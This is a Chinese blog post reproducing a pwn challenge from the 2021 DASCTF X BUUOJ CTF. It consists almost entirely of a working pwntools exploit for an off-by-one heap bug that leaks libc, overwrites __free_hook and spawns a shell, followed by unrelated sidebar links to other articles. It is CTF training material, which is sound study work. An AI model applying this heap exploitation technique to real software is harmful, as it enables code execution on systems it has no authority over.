[复现]2021 DASCTF X BUUOJ 五月大联动

由于我没ubuntu16就不复现第一个题了,直接第二个

正常的off by one

from pwn import *

context.os = 'linux'
context.log_level = "debug" p = process('./pwn')
libc = ELF('./libc.so')
elf = ELF('./pwn') s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) def debug():
gdb.attach(p)
pause() def add(idx, size, con):
sla("choice:", "1")
sla("please choice your card:", str(idx))
sla("Infuse power:\n", str(size))
sa("quickly!", con) def edit(idx, con):
sla("choice:", "2")
sla("please choice your card\n", str(idx))
sla("start your bomb show\n", con) def delete(idx):
sla("choice:", "3")
sla("Which card:", str(idx)) def show(idx):
sla("choice:", "4")
sla("index:", str(idx)) add(0,0x18,'bpc')
add(1,0x20,'bpc')
add(2,0x20,'bpc')
add(3,0x20,'bpc') for i in range(4, 11):
add(i, 0x80, "bpc")
for i in range(4, 11):
delete(i)
pl = 'a'*0x10 + p64(0) + p8(0x91)
edit(0,pl)
delete(1)
add(1,0x20,'bpc')
show(2)
ru("dedededededede:")
libcbase = uu64(r(6)) - 0x3EBCA0
leak('libcbase',libcbase)
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + 0x4f302
add(11,0x20,'bpc')
delete(11)
edit(2, p64(free_hook))
add(11, 0x20, "bpc")
add(12, 0x20,p64(system))
'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL 0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL 0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
#debug()
delete(12) itr()

[复现]2021 DASCTF X BUUOJ 五月大联动-PWN的更多相关文章

  1. 从 Airflow 到 Apache DolphinScheduler,有赞大数据开发平台的调度系统演进

    点击上方 蓝字关注我们 作者 | 宋哲琦 ✎ 编 者 按 在不久前的 Apache  DolphinScheduler Meetup 2021 上,有赞大数据开发平台负责人 宋哲琦 带来了平台调度系统 ...

  2. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  3. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

  4. Buuctf刷题:部分

    get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...

  5. 【紧急】继续折腾,Log4j再发2.1.6,强烈建议升级

    背景 继前天正式发布的2.15.0之后,Apache log4j 2 团队宣布 Log4j 2.16.0 发布! 由于SLF4J适配兼容性的中断,Log4j 现在发布两个版本的SLF4J to Log ...

  6. 2012高校GIS论坛

    江苏省会议中心 南京·钟山宾馆(2012年4月21-22日) 以"突破与提升"为主题的"2012高校GIS论坛"将于4月在南京举行,由南京大学和工程中心共同承办 ...

  7. 1_ZedBoard开发板测试

    启动 将SD卡插入电脑进行格式化 格式化时,要将SD卡格式化为FAT32文件系统.块大小格式化为4096字节时后面会出现无法启动的情况,可以先复现一下这个错误.块大小我选择4096字节. 然后将Zed ...

  8. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  9. 刷题记录:[DDCTF 2019]homebrew event loop

    目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...

  10. 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System

    目录 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1.padding-oracle attack 2.cbc字节翻转攻击 3.FFMpeg文件读取漏 ...

随机推荐

  1. predixy安装

    #predixy安装#下载predixy-1.0.5-bin-amd64-linux.tar.gz,这个是编译好的,下载就可以使用tar -xzvf predixy-1.0.5-bin-amd64-l ...

  2. nginx增加自定义账号鉴权

    nginx增加自定义账号鉴权 使用nginx反向代理实现 当一个站点内部程序是个黑盒(无法修改里面的请求逻辑),如何增加自己的账号系统鉴权 实现逻辑 使用nginx的反向代理功能 自定义账号系统增加两 ...

  3. node.js请求css、js静态资源页面不生效

    产生原因:文件响应头内容类型错误 解决方案:设置对应的响应头内容类型 const http = require('http'); const fs = require('fs'); const pat ...

  4. AWS ssm 连接实例

    aws ssm连接:aws ssm start-session \ --profile xxRole \ --region cn-northwest-1 \ --target i-08d6874428 ...

  5. 「SOL」Hamiltonian Cycle (AtCoder)

    原来一般的四度图也没法快速构造哈密顿回路 QwQ # 题面 给定质数 \(P\) 和正整数 \(a,b\),构造一个长为 \(P\) 的数列 \(G=(g_1,g_2,\dots,g_P)\),满足: ...

  6. noi 1.1 6 空格分隔输出

    描述 读入一个字符,一个整数,一个单精度浮点数,一个双精度浮点数,然后按顺序输出它们,并且要求在他们之间用一个空格分隔.输出浮点数时保留6位小数. 输入 共有四行:第一行是一个字符:第二行是一个整数: ...

  7. pycharm 安装步骤

    1.双击安装包 2.点击next 3.选择安装目录后点击next进入下一步 4.根据你电脑的实际情况选择安装32位还是64位 5.勾选 .py 后即可点击next进入下一步 6.默认,直接next 7 ...

  8. XSS跨站脚本攻击(Cross Site Scripting)

    XSS是跨站脚本攻击(Cross Site Scripting),不写为CSS是为了避免和层叠样式表(Cascading Style Sheets)的缩写混淆,所以将跨站脚本攻击写为XSS. 攻击者可 ...

  9. gcc的编译过程

    1. 预处理,生成 .i 的文件.(input) 2. 将 .i的文件转换成汇编语言,生成 .s 的文件 3.生成机器语言文件,.o的文件 4.连接目标代码,生成可执行文件 .out

  10. nohup 命令 追加输入日志或者覆盖输出日志

    nohup python3 -u botxiaohui.py >> botruninfo.log 2 >&1 & >>  是追加的输出 >    单 ...